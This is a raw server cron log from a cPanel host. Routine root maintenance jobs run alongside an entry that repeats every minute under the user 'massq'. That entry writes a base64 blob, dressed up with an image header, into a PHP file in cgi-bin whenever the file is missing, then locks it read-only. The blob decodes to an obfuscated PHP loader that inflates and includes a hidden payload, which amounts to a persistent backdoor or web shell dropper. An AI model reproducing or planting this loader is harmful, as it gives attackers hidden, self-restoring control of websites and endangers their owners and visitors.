Sep 11 11:44:01 server CROND[6244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:45:01 server CROND[6707]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:45:01 server CROND[6709]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:45:01 server CROND[6712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:45:01 server CROND[6711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:45:01 server CROND[6715]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:45:01 server CROND[6714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:45:01 server CROND[6713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:46:01 server CROND[7518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:46:01 server CROND[7519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:46:01 server CROND[7520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:47:01 server CROND[7898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:47:01 server CROND[7899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:47:01 server CROND[7900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:48:01 server CROND[8263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:48:01 server CROND[8264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:48:01 server CROND[8265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:49:01 server CROND[8637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:49:01 server CROND[8638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:49:01 server CROND[8639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:50:01 server CROND[9109]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:50:01 server CROND[9110]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:50:01 server CROND[9111]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 11:50:01 server CROND[9114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:50:01 server CROND[9112]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:50:01 server CROND[9117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:50:01 server CROND[9115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:50:01 server CROND[9118]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:50:01 server CROND[9113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:51:01 server CROND[9954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:51:01 server CROND[9955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:51:01 server CROND[9953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:52:01 server CROND[10383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:52:01 server CROND[10384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:52:01 server CROND[10385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:53:01 server CROND[10748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:53:01 server CROND[10749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:53:01 server CROND[10750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:54:01 server CROND[11119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:54:01 server CROND[11118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:54:01 server CROND[11120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:55:01 server CROND[11591]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:55:01 server CROND[11599]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:55:01 server CROND[11601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:55:01 server CROND[11603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:55:01 server CROND[11605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:55:01 server CROND[11610]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:55:01 server CROND[11607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:56:01 server CROND[12457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
